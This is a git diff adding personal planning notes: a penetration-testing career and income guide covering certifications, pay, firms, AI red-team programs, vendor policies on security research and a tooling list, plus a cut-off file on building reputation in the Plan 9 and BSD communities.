OffSec | bundle | three above | 3 yr | Top-tier portfolio | +| CRTO | Zero-Point Security | ~£365 | 48hr practical (Cobalt Strike lab) | none | High-respect red team | +| CRTO II | Zero-Point Security | ~£499 | practical advanced | none | Senior red team | +| CRTP | Altered Security | ~$249 | 24hr AD lab | none | AD specialist starter | +| CRTE | Altered Security | ~$549 | 48hr AD lab | none | Senior AD | +| PNPT | TCM Security | ~$499 | 5-day + report + debrief | 3 yr | Practical mid | +| eCPPTv2 | INE Security | ~$400 (with subscription) | practical | none | Stepping stone | +| eWPTX | INE Security | ~$400 | practical web | none | Web mid | +| GPEN | SANS/GIAC | ~$10,000 (incl. SEC560) | proctored MC | 4 yr | Enterprise HR | +| GXPN | SANS/GIAC | ~$10,000 | proctored MC | 4 yr | Enterprise senior | +| GWAPT | SANS/GIAC | ~$10,000 | proctored MC | 4 yr | Enterprise web | +| CEH | EC-Council | ~$1,199 | MC + optional practical | 3 yr | HR filter only | +| HTB CPTS | Hack The Box | ~$210 | 7-day practical | 3 yr | Rising baseline | +| HTB CBBH | Hack The Box | ~$210 | 7-day practical (BB) | 3 yr | Rising web | +| HTB CWEE | Hack The Box | ~$210 | 10-day practical web | 3 yr | Rising senior web | +| BSCP | PortSwigger | $99 | online practical | none | Best web cert/$ | + +Reference URLs: +- OffSec catalog: https://www.offsec.com/courses/ +- Zero-Point Security: https://www.zeropointsecurity.co.uk/ +- Altered Security: https://www.alteredsecurity.com/ +- TCM PNPT: https://certifications.tcm-sec.com/pnpt/ +- SANS/GIAC: https://www.giac.org/ +- HTB Academy certs: https://academy.hackthebox.com/preview/certifications +- PortSwigger BSCP: https://portswigger.net/web-security/certification + +**Ranked by salary impact and HR-filter power (combined):** + +1. **OSCP** — still the universal industry floor. Most pentest job postings list it by name. +2. **OSEP** — the single largest jump in interview-callback rate after OSCP for red team roles. +3. **CRTO** — best price/respect ratio; hiring managers at boutique consultancies read this as "this person can actually drive a C2." +4. **OSWE** — opens the door to product-security and web-app-focused consultancy work. +5. **OSCE3** — portfolio-level signal, gets past senior-pentester filters. +6. **GPEN/GXPN** — only worth it if employer pays; GIAC certs unlock federal/DoD work via DoD 8570/8140. +7. **HTB CPTS / CWEE** — gaining respect fast among technical interviewers. Cheap, hard, very practical. +8. **BSCP** — $99 for a credible web-app credential. No-brainer regardless of seniority. +9. **CRTP/CRTE** — high signal for AD specialists; cheap. +10. **PNPT** — well-regarded mid-tier; cheaper alternative to OSCP for some hiring managers. +11. **eCPPTv2 / eWPTX** — useful résumé filler, low ceiling. +12. **CEH** — buy only if a government/Big 4 contract demands it. + +## 2. Career Paths + +### Internal / Corporate Red Team +Banks, FAANG, defense primes, large healthcare. The job is usually less varied than consulting (one network, indefinitely), but pay and stability are high. Comp ranges (US, total comp incl. equity, 2025-2026): +- 0-2 yr: $90-130k +- 2-5 yr: $140-200k +- 5+ yr senior / staff: $220-400k+ (FAANG staff red team can exceed $500k with stock) + +Remote-friendly at most tech companies, less so at banks and defense. + +### Boutique Pentest Consultancies +Higher base, less equity, more variety, exposure to novel research. Day rates billed to clients $2,500-5,000/day; consultants see roughly 30-50% of that as comp. + +| Firm | Focus | Hiring | Comp tier (senior) | Reputation | +|------|-------|--------|-------------------|------------| +| Bishop Fox | App/cloud/red team/Cosmos CTEM | https://bishopfox.com/careers | $180-280k | Top-tier | +| NCC Group | Broad, incl. crypto/hardware | https://www.nccgroup.com/us/careers/ | $150-230k | Top-tier, UK-anchored | +| Mandiant (Google Cloud) | IR, red team, threat intel | https://cloud.google.com/security/mandiant/careers | $200-350k | Top-tier brand | +| Trail of Bits | Smart contracts, crypto, binary | https://www.trailofbits.com/careers | $200-400k | Elite research | +| IOActive | Hardware, embedded, automotive | https://ioactive.com/careers/ | $170-260k | Elite hardware | +| Praetorian | App/cloud/AD | https://www.praetorian.com/careers/ | $180-280k | Strong | +| Atredis Partners | Hardware, binary, deep research | https://www.atredis.com/careers | $200-350k | Elite low-volume | +| Doyensec | Web/cloud research | https://www.doyensec.com/careers.html | $180-280k | Boutique elite, EU-friendly | +| Include Security | App/cloud | https://www.includesecurity.com/careers/ | $170-260k | Solid mid | +| SpecterOps | AD, BloodHound, red team | https://specterops.io/careers/ | $190-300k | Top AD shop | +| GRIMM | Embedded, OT, federal | https://www.grimm-co.com/careers | $180-280k | Federal/embedded | +| Cure53 | Browser/web research | https://cure53.de/ | EU rates | Elite browser | + +### Big 4 / Big Consulting +Deloitte, EY, KPMG, PwC, Accenture (and IBM X-Force). Comp lower (~70-80% of boutique), promotion ladder fast for those who like it. Work is heavier on compliance/PCI/SOX, lighter on novel research. Useful if you want a clearance or international placement. +- 0-2 yr: $75-110k +- 2-5 yr: $110-160k +- 5+ yr: $160-230k + +### Freelance / Solo Consultant +Rates depend on niche. Web app generalist: $150-250/hr. AD red team specialist: $250-350/hr. Smart-contract auditor: $300-500/hr (or per-LOC engagement). Hardware/firmware: $300-450/hr. + +You will spend at least 30% of your hours on sales, scoping, and reporting. Finding clients without a network is brutal; most solo pentesters route through: +- Referrals from prior employer's clients (non-compete dependent) +- LinkedIn outreach to mid-market CTOs +- Acting as a subcontractor for a larger firm (50-60% gross retention) +- Pentest-as-a-Service platforms (next section) + +### Bug Bounty as Primary Income +Covered in `/home/krisyotam/dev/100x/income/bug-bounty.md`. Short version: variance is brutal; a top 1% hunter clears $300k+, the median full-time hunter clears $40-80k. + +## 3. Pentest-as-a-Service / Freelance Platforms + +### Synack Red Team (SRT) +https://www.synack.com/red-team/ + +The serious one. Closed, vetted private pool. Monthly payouts ($200-2,000+ per submitted vuln depending on severity, plus hourly research credits and missions). + +Application process (multi-stage): +1. Online application + résumé. +2. Background check (criminal + ID). +3. Technical written assessment (multiple-choice + scenario, ~90 min). +4. Practical SRT challenge: live target with timed objectives. +5. Interview with a Synack engineer. +6. Sign NDA + onboarding. + +Pass rate is estimated 10-15%. Strong OSCP-level skill is the floor. + +### Cobalt.io +https://www.cobalt.io/pentesters + +Crowdsourced managed pentests. Hourly model (~$80-150/hr depending on tier and country). Application requires CV, references, and a technical interview. Easier to join than SRT but lower ceiling. Solid steady income while studying. + +### HackerOne Pentest / Bugcrowd Pentest +https://www.hackerone.com/product/pentest-as-a-service +https://www.bugcrowd.com/products/penetration-testing/ + +Managed pentest gigs distinct from public BB programs. Invite-only; you build up via the BB platform first, then they tap you for paid managed work. Rates similar to Cobalt. + +### Bishop Fox Cosmos / Continuous Pentest +https://bishopfox.com/platform/cosmos +Continuous external attack-surface testing. Generally only available to Bishop Fox employees, not freelancers. + +### Other relevant +- **Yogosha** (https://yogosha.com/) — EU-anchored private bug bounty + pentest platform. +- **Intigriti** (https://www.intigriti.com/) — EU equivalent, very active. +- **Federacy** and **YesWeHack** — smaller pools. + +## 4. Specializations, Ranked by 2025-2026 Earning Potential + +1. **AI / LLM red team** — emerging, low supply, rates climbing fast. $250-500/hr or salary $250-400k for staff. Covered in §5. +2. **Web3 / smart contract audit** — Trail of Bits, Spearbit, Cantina, Code4rena, Sherlock. Senior auditors clear $300-700k. Path: master Solidity, audit dozens of open-source contracts, place in Code4rena contests, get a referral. https://code4rena.com/ , https://spearbit.com/ , https://cantina.xyz/ +3. **OT / ICS / SCADA** — utilities, oil and gas, defense. SANS ICS515, GICSP cert. Limited supply of qualified people, day rates $3,000-5,000. +4. **Cloud (AWS/Azure/GCP)** — perennial high demand. Path: SEC588 (GCSA), AWS Security Specialty, Azure AZ-500, then practical via HTB Pro Labs and Pentester Academy AWS/Azure red-team courses. Altered Security and Pentester Academy run cloud red-team labs. +5. **AD red team** — high demand, mature market. CRTO/CRTP/CRTE/OSEP track. Salary $180-300k senior. +6. **Embedded / IoT / firmware** — high pay, small market. Atredis, IOActive, GRIMM hire. Path: practice on routers/cameras, JTAG/UART, learn binary analysis (Ghidra, Binary Ninja). +7. **Hardware** — niche, side-channel/glitching/fault injection. Joe Grand-tier territory. +8. **Automotive** — growing post-UN R155. NCC, IOActive, Block Harbor. CAN bus, RF, ECU reverse engineering. +9. **Mobile (iOS/Android)** — growing, stable. Frida, Objection, jadx, Ghidra, Corellium. +10. **Web app generalist** — saturated but always hireable. BSCP + OSWE is the lane. + +For a mathematician learning Rust who already does AD via OSCP/HTB Omniscient, the fastest-growing curves are **AI red team** and **smart-contract audit** — both reward formal-math thinking, both are still under-staffed, both pay senior-engineer salaries within 2-3 years. + +## 5. AI / LLM Red Teaming + +The niche where supply is shortest and the OpenAI question lives. + +### Programs and applications + +- **OpenAI Red Teaming Network** — https://openai.com/index/red-teaming-network/ . Rolling applications. Mostly paid contract engagements per project; not a salary. They look for domain experts (biosecurity, chemistry, cybersecurity, persuasion, etc.) plus traditional offensive-security skill. The application asks for a CV, research areas, and prior red-team work. Pay reported by past participants is $100-200/hr for the engagement window. +- **Anthropic** — no public "red team network" enrollment as of 2025-Q4. Hiring is via standard Trust & Safety / Frontier Red Team job listings: https://www.anthropic.com/jobs . They also run targeted contract red-teams via invitation; the route in is a public research presence (papers, write-ups) plus a referral. +- **Microsoft AI Red Team** — internal team; hires via https://careers.microsoft.com/ . External researchers contribute via the MSRC Researcher Portal and Zero Day Quest. +- **US AI Safety Institute (USAISI/NIST)** — https://www.nist.gov/aisi . Public-private red-team consortium AISIC. +- **UK AI Safety Institute** — https://www.aisi.gov.uk/ . Hires evaluators; remote-friendly for UK residents. +- **Holistic AI** — https://www.holisticai.com/ +- **HiddenLayer** — https://hiddenlayer.com/ +- **Robust Intelligence** (acquired by Cisco) — https://www.robustintelligence.com/ +- **Lakera** — https://www.lakera.ai/ . Publishes the Gandalf prompt-injection corpus; respected research output. + +### Competitions and corpora +- **HackAPrompt** — https://www.hackaprompt.com/ . First-mover prompt-injection contest; the dataset is the de facto field standard. +- **OWASP Top 10 for LLM Applications** — https://genai.owasp.org/ +- **Gray Swan AI** — https://www.grayswan.ai/ . Hosts ongoing jailbreak arenas, pays cash bounties. + +### Required skillset +- Solid pentest fundamentals (OSCP-level). +- Transformer/attention mechanics, RLHF, RLAIF basics. Read the original GPT-2/3/4 papers, the Anthropic Constitutional AI paper, OpenAI's RLHF papers. +- Prompt-injection patterns: Simon Willison's blog (https://simonwillison.net/tags/prompt-injection/), Riley Goodside's writeups, the Lakera and Gray Swan corpora. +- Multi-agent and tool-use attack surfaces (function calling, MCP, Computer Use). This is where 2026 research is heading. +- Adversarial ML basics: evasion, model extraction, membership inference. Nicolas Carlini's papers are the canonical reading list. + +### Bug bounties paying for AI vulns +Cross-link to `/home/krisyotam/dev/100x/income/bug-bounty.md`. Key programs: OpenAI on Bugcrowd, Anthropic on HackerOne, Google's AI VRP (Vulnerability Reward Program), Microsoft's AI bounty. + +## 6. OpenAI Security Approval / Codex Usage for Pentest + +This deserves a direct answer because Kris asked it directly. + +### Short answer +There is **no formal "authorized security researcher" status with OpenAI** that grants permission to use ChatGPT or Codex CLI for offensive security work against third-party targets. OpenAI's Usage Policies (https://openai.com/policies/usage-policies/) and the older Business Terms govern all API and product use, and they apply equally to security researchers and everyone else. + +### What the policies actually say +Reading the consolidated Usage Policies (last revised Jan 2025): +- You may not use the services to "compromise the privacy of others" or "engage in unauthorized activities that violate the security of any service or system." +- You **may** use the services to "do security research" — explicitly carved out — provided you have authorization to test the target system. + +In practice this means: +- **Authorized pentest engagements** (signed SOW, rules of engagement, written authorization from the asset owner): permitted. You can use Codex CLI to write payloads, analyze code, generate exploits for your authorized scope. +- **CTFs, HTB, OSCP labs, your own homelab**: explicitly permitted. +- **Bug bounty work within an in-scope program**: permitted. The program scope is your authorization. +- **Unauthorized testing, mass scanning of third parties, building offensive infrastructure aimed at random targets**: prohibited regardless of researcher status. + +There is no application form, no badge, no special API tier for pentesters. You operate under the same Usage Policies as anyone else, and the burden is on you to ensure you have authorization for whatever you're testing. + +### OpenAI's actual security-researcher-facing programs +These are distinct from "approval to use Codex": +- **OpenAI Bug Bounty Program** (Bugcrowd-hosted) — https://bugcrowd.com/openai . Pays for vulns in OpenAI's own infrastructure and products. Standard responsible-disclosure terms. +- **OpenAI Cybersecurity Grant Program** — https://openai.com/index/cybersecurity-grant-program/ . $10k API credit awards for defensive AI security research proposals. Application-based. +- **OpenAI Red Teaming Network** — covered in §5. Paid contract work as a domain-expert red-teamer of OpenAI's own models. Apply at https://openai.com/index/red-teaming-network/ + +### Practical implication +For a working pentester: keep your standard OpenAI / ChatGPT / Codex CLI account, log your engagements (SOW + RoE) per client, and use the tools as you would any other. You don't need permission beyond that. If you do unusual research at scale (mass exploit generation, etc.), open a dialogue with OpenAI Trust & Safety before, not after. + +For genuinely sensitive client work (signed NDA, regulated industries, classified) the cleanest answer is **don't send the client's data through any third-party API at all**. Local models are the right tool: +- **DeepSeek-Coder-V2** (236B MoE, 16B active) or DeepSeek-V3 family — strong coding/exploit-dev capability, self-hostable. +- **Qwen2.5-Coder-32B** — excellent local coding model, runs on a single 3090/4090 quantized. +- **CodeLlama-70B** — older but established. +- **Mixtral-8x22B** — general-purpose, reasonable code performance. + +Self-host via **vLLM** or **llama.cpp** on a workstation with enough VRAM (24GB minimum for quantized 32B, 48-80GB for larger). Stargate's GPU situation is fine for inference of 32B-class models; anything bigger wants a Mac Studio or a multi-GPU rig. + +### Comparison: other vendors + +- **Anthropic Usage Policy** — https://www.anthropic.com/legal/aup . Similar carve-out: security research with authorization is allowed; unauthorized intrusion is not. Anthropic has no public "authorized security researcher" tier. Bug bounty via HackerOne: https://hackerone.com/anthropic . +- **Google Bug Hunters / VRP** — https://bughunters.google.com/ . Public bug bounty across all Google products incl. AI. No special API-usage status. +- **Microsoft Researcher Portal / MSRC** — https://msrc.microsoft.com/ . Bug bounty across MS products. Microsoft offers "Researcher Recognition" tiers but these are reputation badges, not API-policy exemptions. +- **GitHub Security Lab** (Microsoft) — https://securitylab.github.com/ . CodeQL research grants, bug bounties on OSS. + +**Bottom line for Kris**: there is no door to knock on to get a "Codex for pentest" approval. The policy already permits authorized security work, so use it for that. For client work under NDA, run a local model on stargate or moirai. Apply to OpenAI's Red Teaming Network if you want paid AI-red-team contract work — that's the closest thing to a real "researcher status." + +## 7. Tooling and Homelab + +You're already Linux-fluent and have BlackArch on a dedicated laptop. Coverage at the level of "what to buy and what's free." + +**Paid worth-it:** +- **Burp Suite Pro** — $475/yr. https://portswigger.net/burp/pro . Essential for any web work. No real alternative. +- **Cobalt Strike** — $7,500/yr per user. https://www.cobaltstrike.com/ . Only if employed somewhere with a license; freelancers should use one of the free alternatives. +- **Nessus Professional** — $4,000/yr. https://www.tenable.com/products/nessus . Compliance/automated-vuln scanning; some engagements require it. + +**Free C2 (modern Cobalt Strike alternatives):** +- **Sliver** — https://github.com/BishopFox/sliver . Go-based, actively developed. +- **Mythic** — https://github.com/its-a-feature/Mythic . Modular, agent-agnostic. +- **Havoc** — https://github.com/HavocFramework/Havoc . Hottest right now. +- **Brute Ratel** — paid, harder to get a license than CS. + +**Adversary emulation:** +- **Caldera** (MITRE) — https://github.com/mitre/caldera +- **Atomic Red Team** — https://github.com/redcanaryco/atomic-red-team + +**Standard kit (all free):** +- Network: nmap, masscan, naabu, rustscan +- Web fuzz: ffuf, gobuster, feroxbuster, dirsearch +- AD: BloodHound, SharpHound, PowerView, PingCastle +- Cred dump: Mimikatz, Rubeus, Kekeo +- AD relay: Impacket suite, Responder, NetExec (the rename of CrackMapExec — https://github.com/Pennyw0rth/NetExec) +- Linux post-exploit: linpeas, pspy, LinEnum +- Exploit dev: pwntools, GEF/pwndbg, Ghidra, radare2, Binary Ninja (commercial) + +For Rust-leaning offensive tooling, look at **RustHound** (BloodHound collector), **rustcat**, and **kageshirei** as starting points. + +## 8. Pricing and Contracts for Solo Work + +### Scoping +A standard external pentest of a small/mid web app is 5-10 days. Internal AD assessment of a 500-user network is 10-15 days. Red team objective-based: 15-30 days minimum. Day rate $1,500-3,000 for solo, billed to client. + +### Contract structure +- Master Services Agreement (MSA) — terms, liability, indemnification. +- Statement of Work (SOW) per engagement — scope, dates, deliverables, price. +- Rules of Engagement (RoE) — what's in scope, who to call, allowed times, allowed techniques. +- Authorization letter (the "get out of jail" letter, signed by an executive with authority to authorize testing). + +Templates worth starting from: +- NCC Group: https://research.nccgroup.com/ (search "pentest agreement templates") +- SANS reading-room contract templates: https://www.sans.org/white-papers/ +- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/ + +### Insurance +- **Errors & Omissions / Professional Liability** — $1M coverage roughly $1,200-2,500/yr from Hiscox, Thimble, or specialty cyber-insurance brokers (Coalition, At-Bay). +- **General Liability** — $400-800/yr. +- **Cyber liability** — separately if you handle client data. + +Most enterprise clients will require proof of $1-5M E&O coverage before signing an SOW. Get this before you start pitching, not after. + +### Entity structure (US) +- LLC taxed as S-corp once net is over ~$60-80k/yr; saves on self-employment tax. +- File in your home state unless there's a specific reason for Delaware/Wyoming. +- Quarterly estimated taxes. +- Use a CPA who has worked with security consultants; the typical small-business CPA misunderstands the industry. + +## 9. Building a Reputation + +The currency is public work. Hiring managers and clients both Google your name. + +- **Writeups**: HTB walkthroughs (after machines retire), CTF retrospectives, novel research. Pick a focus — one well-researched AD or web post per quarter beats ten shallow ones. +- **CVEs**: aim for 2-3 per year under your name. Pick a product, audit it properly, follow responsible disclosure, publish the writeup after the patch. +- **Tools**: release one substantial open-source tool. SpecterOps' careers were largely built on BloodHound; HarmJ0y's on PowerView. A Rust port of an existing slow Python tool is a high-leverage move for you specifically. +- **Talks**: progression is BSides local → BSides bigger city → DEF CON village (AppSec, Cloud, AI) → DEF CON main / Black Hat → OffensiveCon (the technical bar is highest), Recon.mtl, NorthSec, ShmooCon (US), BlueHat (MS), Insomnihack (CH). + - DEF CON: https://defcon.org/ + - Black Hat: https://www.blackhat.com/ + - OffensiveCon: https://www.offensivecon.org/ + - Recon: https://recon.cx/ + - NorthSec: https://nsec.io/ + - ShmooCon: http://shmoocon.org/ +- **Infosec Twitter/X / Mastodon**: the network effect is real. Follow and engage with: SwiftOnSecurity, gentilkiwi, harmj0y, _wald0, dirkjanm, mubix, hasherezade, taviso, halvarflake, Carnal0wnage. Bluesky and Mastodon (infosec.exchange) have most of the same crowd now. + +## 10. Realistic 12-Month Plan + +**Months 1-2: finish OSCP** +- Complete remaining HTB Omniscient track + OffSec Proving Grounds machines. +- Schedule and pass OSCP. +- Buy BSCP at $99 the same week as OSCP passes; clear it in 2-4 weeks. + +**Months 3-4: income floor + AD depth** +- Apply to Cobalt.io (easier, faster) and Synack Red Team (harder, higher ceiling). Aim for both. Cobalt should pay first. +- Knock out CRTP ($249, 30-45 days of evenings) — Active Directory in a serious lab. +- Start a public writeup cadence: one HTB retired-machine writeup per fortnight on the krisyotam.com notes site. + +**Months 5-7: specialize toward AI red team** +- Read in this order: GPT-2/3/4 papers, Constitutional AI (Anthropic), OpenAI's RLHF papers, OWASP LLM Top 10, Carlini's adversarial ML papers, Simon Willison's prompt-injection tag end-to-end. +- Compete: HackAPrompt past events, Gray Swan jailbreak arenas. Place in something. +- Publish one substantial original AI red-team piece (e.g. novel attack against multi-agent tool use, or a Rust harness for systematic prompt-injection fuzzing). +- Apply to OpenAI Red Teaming Network and Anthropic's Frontier Red Team contract roles. The published research is the application. + +**Months 8-9: senior credentials** +- CRTO (£365, weekend lab). Apply to OSEP if budget allows. +- Pitch krisyotam.com + the published research + the CRTO + OSCP to two boutique consultancies (Bishop Fox, Doyensec, SpecterOps, Trail of Bits). Target a senior-engineer / senior-consultant slot, not entry-level. + +**Months 10-12: optimize income mix** +- Settle into the highest-paying single source (likely SRT + 1-2 boutique freelance referrals + occasional OpenAI Red Team contract). +- Open an LLC, get E&O insurance, file as S-corp once net trends past $80k. +- Optional: CFP for BSides + DEF CON AI Village 2027 with the year's published research. + +By month 12 the realistic income mix is: $40-80k from Cobalt/SRT, $20-60k from referral freelance, $5-25k from OpenAI/Anthropic contract red-team work, plus any boutique salary if a full-time role was the chosen exit. Total reachable: $120-250k in year one of monetization, with a clear runway into $250-400k by year three on the AI red-team curve. diff --git a/doc/income/status.md b/doc/income/status.md new file mode 100644 index 0000000000000000000000000000000000000000..d5849ac887cc43e1be2025341be6665b066a42f8 --- /dev/null +++ b/doc/income/status.md @@ -0,0 +1,577 @@ +# Status Moves + +## Overview + +A status move is a concrete action that costs little money, costs mostly time, and compounds in reputation over years inside a specific community. The shape: low cost, high asymmetric upside, hard to copy after the fact because the scarce thing (a domain, a publication, a niche, a maintainership slot, a track record starting in year X) is now yours. + +ninetimes.org is the archetype Kris already executed. Plan 9 has zero serious news publication. Once the field grows even modestly (10 percent yearly), the domain holder who actually published is the canonical source. The cost was a domain registration and a writing habit. The reward is one of the half-dozen permanent slots in a small community. + +The principles behind this document: + +- **Scarcity binds reputation**. Communities only have so many "the X person" slots. Claim one early in a domain you actually care about. Avoid niches where Gwern, Patrick McKenzie, bunnie, or Scott Aaronson already sit. +- **Real estate compounds**. A domain, a GitHub org, a Trusted User slot, a port-maintainer line, a published man page byline, a Wikipedia edit history. These are anchored permanently. +- **Output before posture**. Status follows from sustained legible output. No essays about influence, no guru voice, no Twitter follow campaigns. Build something, then describe it once. +- **Avoid the squatter pattern**. One domain, one project, build it out. Ten registered domains with empty sites is anti-status. +- **Cross-pollinate carefully**. A mathematician inside Plan 9 + alignment is a unique slot. A mathematician in EA who writes serious systems essays is unique. Don't force the fusion in titles; let the body of work make the claim. + +Below: 5 to 10 specific moves per community, then cross-community, then a domain audit table, then anti-moves, then a ranked top 10. + +## 1. Plan 9 / cat-v.org orbit + +The community is small (low hundreds active), graying, and **publication-starved**. There is no LWN, no Lobsters-equivalent, no actively maintained bibliography. Coders here write code, not prose. That's the gap. + +### Move 1.1: Build ninetimes.org into the paper of record +- **Cost**: domain (paid), 4-8 hours/week writing. +- **Why it works**: There is literally no competitor. 9fans mailing list is a chat log. 9front's website is a wiki. cat-v.org is a static archive curated by uriel's successors but doesn't publish. The Plan 9 community has no equivalent of LWN, Hacker News digest, or even Phoronix-style news desk. +- **Execute**: Weekly issue. Patch summaries from 9front hg, a "talk of the week" from 9fans, one essay or guest piece, one historical artifact. Mirror to gopher and 9p. Cross-post to LWN comments and lobste.rs. +- **Failure mode**: Burns out after 8 issues. Mitigation: publish bi-weekly from the start. +- **Timeline**: First citation by a mainstream tech outlet within 18 months. + +### Move 1.2: Claim plan9papers.org and build the canonical bibliography +- **Cost**: ~$12/year domain. WHOIS confirms **available** as of 2026-05-20. +- **Why it works**: Every Plan 9 newcomer asks "where do I read the original papers?" The current answer is a scattering of links across cat-v, Bell Labs archives, 9p.io, and dead pages. A clean, citation-ready, downloadable bibliography becomes the default link for the next decade. +- **Execute**: Register. Mirror the original Bell Labs papers (most are public). Add BibTeX exports. Tag by subsystem (rio, acme, fossil, venti, etc.). Add a "papers that cite Plan 9" reverse index. Run it as a static site (Hugo or hand-rolled). +- **Failure mode**: Becomes another mirror nobody updates. Counter: commit to one new paper-summary per month. +- **Timeline**: Top Google result for "plan 9 papers" within 12 months. + +### Move 1.3: Register the subsystem-namespace domains (drawterm.org, sam-editor.org, acme-editor.org, rio-wm.org, fossil-fs.org, venti-fs.org) +- **Cost**: ~$60-80/year total. **All six confirmed available** via WHOIS. +- **Why it works**: These are the most-searched Plan 9 names with no current authoritative page. Each currently routes to either Bell Labs' archive or a 9front wiki page. Owning them and pointing them to clean modern docs is a 30-minute-per-domain investment. +- **Execute**: Buy all six. Stand each up as a single-page reference with: short description, current maintainer, source location, link to authoritative docs, ports list (Linux/Mac/BSD), historical paper. Do NOT clutter with blog. One page per domain. +- **Failure mode**: Looks like a domain hoard. Mitigation: each one must have a real, useful single page within 30 days of registration. Donate them to 9front/plan9foundation later if appropriate. +- **Timeline**: SEO authority in 2-3 years. + +### Move 1.4: Become a 9fans known name +- **Cost**: zero, mailing list time. +- **Why it works**: 9fans is the closest thing to a Plan 9 town square. ~5 contributors define the tone. Becoming one of those names is achievable in 12 months of sustained quality posting. +- **Execute**: Read every thread for 60 days silently. Then post: a clean trip report on running 9front, a port of a Linux tool to Plan 9, a careful summary of a paper. Avoid: opinion threads, distro flame wars, "what should I read first" newbie questions. Cross-reference 9p.io archives so you know what's been debated. +- **Failure mode**: Posting too early, posting opinions. Counter: ratio of code/ports/summaries to opinions should be 5:1. +- **Timeline**: 18-24 months for community recognition. + +### Move 1.5: Run the first Plan 9 hackathon in North America since IWP9 dispersal +- **Cost**: ~$500-2000 venue rental, possibly free if hosted at a university you can convince. Time: 3 months organizing. +- **Why it works**: IWP9 (International Workshop on Plan 9) has rotated globally and skipped years. North America has no regular Plan 9 in-person event. Organizing one and getting 9front maintainers (cinap_lenrek, sl, others) to attend is a permanent line on the resume. +- **Execute**: Pick a weekend. Get Bell Labs alumni list and current 9front committers. Stream the talks. Publish proceedings as a small book through plan9papers.org. +- **Failure mode**: 5 people attend. Counter: hybrid format, virtual stream, low expectations on year 1. +- **Timeline**: First event year 1, status compounds across year 2-3. + +### Move 1.6: Port a popular modern tool to plan9port + 9front with care +- **Cost**: Zero, 40-200 hours of skilled work. +- **Why it works**: A single deeply-done port (e.g. ripgrep on 9front, a usable language server protocol, modern TLS in libsec) is the kind of artifact the community remembers. Choose a tool the community keeps asking for. +- **Execute**: Read 9fans archives to find the most-complained-about gap. Build it. Maintain it for at least 24 months. Document the porting process as a series in ninetimes. +- **Failure mode**: Picking a tool nobody actually wants. Counter: do the listening first. +- **Timeline**: Recognized port = 6-12 months. "The author of the X port" identity = 2 years. + +### Move 1.7: Curate the "Plan 9 Best Of" YouTube reel +- **Cost**: $0, time for clipping and uploading. +- **Why it works**: Plan 9 has spectacular demos (rio mouse chord menus, acme middle-click execute, plumber routing) but no canonical "watch this" video. A 5-minute reel becomes the default link in every Plan 9 thread on HN/Lobsters for a decade. +- **Execute**: Record on 9front. Narrate. Upload to YouTube + PeerTube + own server. Crosspost when relevant threads appear (sparingly). +- **Failure mode**: Production value too low. Counter: study Bryan Cantrill's talks for pacing. +- **Timeline**: Goes viral or doesn't within 30 days. + +### Move 1.8: Author a modern Plan 9 reference book under CC license +- **Cost**: $0, ~12 months of writing. +- **Why it works**: The Plan 9 book canon froze in the early 2000s. Russ Cox's papers and the original Lions-style commentary are missing for 9front specifically. A 200-page reference, published free on plan9papers.org and printed POD via Lulu, becomes the gift book for every new Plan 9 user. +- **Execute**: Outline first, get 9front maintainers to review chapters as they're drafted. Use draws and screenshots from real 9front installs. +- **Failure mode**: 18-month project with no finish line. Counter: chapter-per-month publishing schedule from chapter 1. +- **Timeline**: Reputation lift around month 6 (preprint chapters), permanent dossier on completion. + +## 2. BSD + +The BSD communities are stable, doc-rich, and respect three things: documented diffs, doc patches, and port maintenance. They are suspicious of newcomers but extremely loyal to anyone who has stuck around 24 months. + +### Move 2.1: Become an OpenBSD man page contributor +- **Cost**: zero. ~5-20 hours per accepted patch. +- **Why it works**: OpenBSD's culture treats good man page writing as nearly sacred. Submitting clean, technically correct improvements to misc@/tech@ with proper diff format is the single most efficient way to get on Theo and the regulars' radar. +- **Execute**: Read https://www.openbsd.org/mail.html. Pick a man page with a known weakness (rcctl(8), pf.conf(5), iked.conf(5) often have edge cases unexplained). Submit via tech@ with a clear "here's the diff, here's why" format. Accept criticism, iterate, never argue tone. +- **Failure mode**: One bad thread (defensive reply) sets you back 18 months. Counter: rewrite responses overnight before sending. +- **Timeline**: First accepted diff in 2-4 months. Recognized contributor in 18. + +### Move 2.2: Adopt 3-5 orphaned FreeBSD ports +- **Cost**: zero, ~2 hours/week ongoing. +- **Why it works**: FreeBSD has hundreds of MAINTAINER set to ports@ (i.e. orphaned). Adopting ones you actually use puts your name on the official `Mk` records and into `pkg info` output for every user. Permanent dossier. +- **Execute**: `https://www.freshports.org/` lists ports by maintainer. Find ones flagged "ports@" that you use. Email portmgr with a request to adopt. Submit a polished update as your first PR. +- **Failure mode**: Adopt too many, can't keep up. Counter: 3-5 max, all software you actually run. +- **Timeline**: Listed by month 3. + +### Move 2.3: Found bsdpapers.org (the BSD equivalent of plan9papers.org) +- **Cost**: ~$12/year. **Available** as of 2026-05-20. +- **Why it works**: Each BSD has scattered docs. There is no unified, citation-quality BSD bibliography (FreeBSD Handbook is a manual; openbsd.org/papers is a stub; NetBSD has wiki pages). A unified curated index by subsystem is a 20-year asset. +- **Execute**: Same model as plan9papers.org. Sections per BSD + cross-cutting (TCP/IP, scheduler, jails, capsicum, pledge). +- **Failure mode**: Looks like FreeBSD Foundation's territory. Counter: publish in their direction, offer to donate later. +- **Timeline**: Top SEO in 18 months. + +### Move 2.4: Build openbsdjournal.org as a community-driven monthly +- **Cost**: ~$12/year. **Available**. Domain to register. +- **Why it works**: Undeadly.org exists but updates sporadically. A reliably-monthly OpenBSD-focused news + diff digest fills a real gap. NOTE: Coordinate with undeadly.org maintainers first; don't be the person who forked the community by accident. +- **Execute**: Email Peter Hessler / undeadly editors to offer collaboration first. If they decline, build openbsdjournal as a complement, not competitor. +- **Failure mode**: Splits the community. Counter: collaboration before launch. +- **Timeline**: 6 months to first issue, 24 to canonical status. + +### Move 2.5: Run a public BSD CI farm +- **Cost**: $200-1000/year electricity + ~$2000 hardware (used Xeons or 2nd-hand workstations) OR free on STARGATE if rack space allows. +- **Why it works**: BSDs lack the CI infrastructure that Linux has via 0day. A public CI farm running NetBSD ATF, FreeBSD's testsuite, OpenBSD release builds, posting reports daily, is the kind of contribution that gets you formally thanked in release notes. +- **Execute**: Start with one BSD (NetBSD is most receptive). Get on tech-pkg@ or similar list. Coordinate hosting with NetBSD Foundation. +- **Failure mode**: Hardware dies mid-build for weeks. Counter: redundancy from day 1. +- **Timeline**: Recognition in 12-18 months. Multi-BSD farm in 3 years. + +### Move 2.6: Speak at vBSDcon, EuroBSDcon, or AsiaBSDCon +- 